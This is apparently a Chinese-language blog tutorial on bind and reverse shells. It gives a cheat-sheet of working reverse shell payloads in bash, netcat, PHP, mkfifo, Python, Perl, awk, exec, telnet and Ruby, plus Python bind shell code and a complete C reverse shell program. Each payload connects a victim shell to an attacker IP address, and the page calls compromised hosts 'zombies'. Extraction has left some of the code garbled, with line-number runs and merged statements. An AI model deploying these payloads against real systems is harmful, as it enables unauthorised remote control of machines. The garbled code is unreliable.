反弹Shell操作
1. 反弹Shell分类
交互式
在终端上执行,shell等待你的输入,并且立即执行你提交的命令。(正常Linux操作)
非交互式
shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就结束了。(菜刀、蚁剑获取的虚拟终端就是一种典型的非交互式shell)
2. 正向与反弹Shell的区别 2.1 正向连接
正向连接情况是目标主机有公网IP,能直接被外网访问,攻击者可以直接访问目标机器
服务器端:监听TCP/UDP
端口,把本地Bash授权给该端口,等待攻击端连接
攻击端:访问服务器端监听的TCP/UDP
端口,直接建立与服务器端的会话连接 ,拿到服务器Bash输入命令
2.2 反向连接(反弹Shell)
目标主机位于内网环境下,不能直接被外网访问,只能主动将Shell反弹出来
攻击端:监听TCP/UDP
端口,等待肉鸡连接
服务器端:访问攻击端监听的TCP/UDP
端口,建立该攻击端端口的会话连接 ,将自身的Bash给攻击端,通过攻击端实现服务器端输入
3. 正向与反弹的流程 3.1 正向连接 3.1.1 服务器端口监听,发布本地Bash
nc
是netcat
的简写,可以实现任意TCP/UDP
端口的侦听(如果nc
没有-e
权限,就安装netcat
是完整版) -l 监听模式 ,用于入站连接 -v 详细输出 –用两个-v可得到更详细的内容 -p 本地端口号
使用NC工具在目标机器开启端口进行监听,并将本地的bash发布出去。
1 nc -lvvp 9999 -e /bin/bash
3.1.2 攻击端直接访问目标端口 攻击端直接访问目标端口,即可拿到权限,输入exit
退出控制。
3.2 反弹Shell 3.2.1 攻击机器开启端口监听
3.2.2 服务器将本地Bash给攻击机 1 nc -e /bin/bash 192.168.186.134 9999
4. 反弹Shell方式 4.1 Bash反弹(系统后门) 4.1.1 攻击端
4.1.2 服务器 1 2 bash -i >& /dev/tcp/192.168.186.134/9999 0>&1
4.2 NC反弹(NC后门) 4.2.1 攻击端
4.2.2 服务器 1 nc -e /bin/bash 192.168.0.4 7777
4.3 Python反弹 4.3.1 服务器端 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import socketimport oslink = socket.socket(socket.AF_INET, socket.SOCK_STREAM) link.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) link.bind(('0.0.0.0' , 8081 )) link.listen(5 ) print ("start to listen..." )con, host = link.accept() print ("host is " + str (host))while True : command = con.recv(1024 ) res = os.popen(command.decode()) con.send(res.read().encode()) con.close() link.close()
4.3.2 攻击端 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from cmath import rectimport socketif __name__ == "__main__" : a = socket.socket(socket.AF_INET, socket.SOCK_STREAM) a.connect(('192.168.186.130' , 8081 )) while True : command = input ('> ' ) if command == "exit" : break a.send(command.encode()) recv = a.recv(1024 ) print (recv.decode()) a.close()
4.4 花式反弹 4.4.1 bash反弹 1 2 /bin/bash >& /dev/tcp/192.168.0.103/6666 0>&1 bash -c 'bash -i >& /dev/tcp/192.168.0.103/6666 0>&1'
4.4.2 php反弹 1 php -r '$sock=fsockopen("192.168.0.103",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
4.4.3 rm反弹 q 1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 6666 >/tmp/f
4.4.4 python反弹 1 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.103",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4.4.5 perl反弹 1 perl -e 'use Socket;$i="192.168.0.103";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.103:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
4.4.6 awk反弹 1 awk 'BEGIN{s="/inet/tcp/0/192.168.0.103/6666";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
4.4.7 exec反弹 1 0<&196;exec 196<>/dev/tcp/192.168.0.103/6666; sh <&196 >&196 2>&196
4.4.8 telnet反弹 1 telnet 192.168.0.103 6666 | /bin/bash | telnet 192.168.0.103 7777
1 mknod test p && telnet 192.168.0.103 6666 0<test | /bin/bash 1>test
4.4.9 ruby反弹 1 ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.103","6666");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
4.4.10 C语言反弹 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <fcntl.h> #include <netinet/in.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <fcntl.h> #include <netinet/in.h> #include <netdb.h> void usage () ;char shell[]="/bin/sh" ;char message[]="hacker welcome\n" ;int sock;int main (int argc, char *argv[]) { if (argc <3 ){ usage(argv[0 ]); } struct sockaddr_in server ; if ((sock = socket(AF_INET, SOCK_STREAM, 0 )) == -1 ) { printf ("Couldn't make socket!n" ); exit (-1 ); } server.sin_family = AF_INET; server.sin_port = htons(atoi(argv[2 ])); server.sin_addr.s_addr = inet_addr(argv[1 ]); if (connect(sock, (struct sockaddr *)&server, sizeof (struct sockaddr)) == -1 ) { printf ("Could not connect to remote shell!n" ); exit (-1 ); } send(sock, message, sizeof (message), 0 ); dup2(sock, 0 ); dup2(sock, 1 ); dup2(sock, 2 ); execl(shell,"/bin/sh" ,(char *)0 ); close(sock); return 1 ; } void usage (char *prog[]) { printf ("Usage: %s <reflect ip> <port>n" , prog); exit (-1 ); } # gcc cshell.c -o cshell && ./cshell 192.168.0.103 6666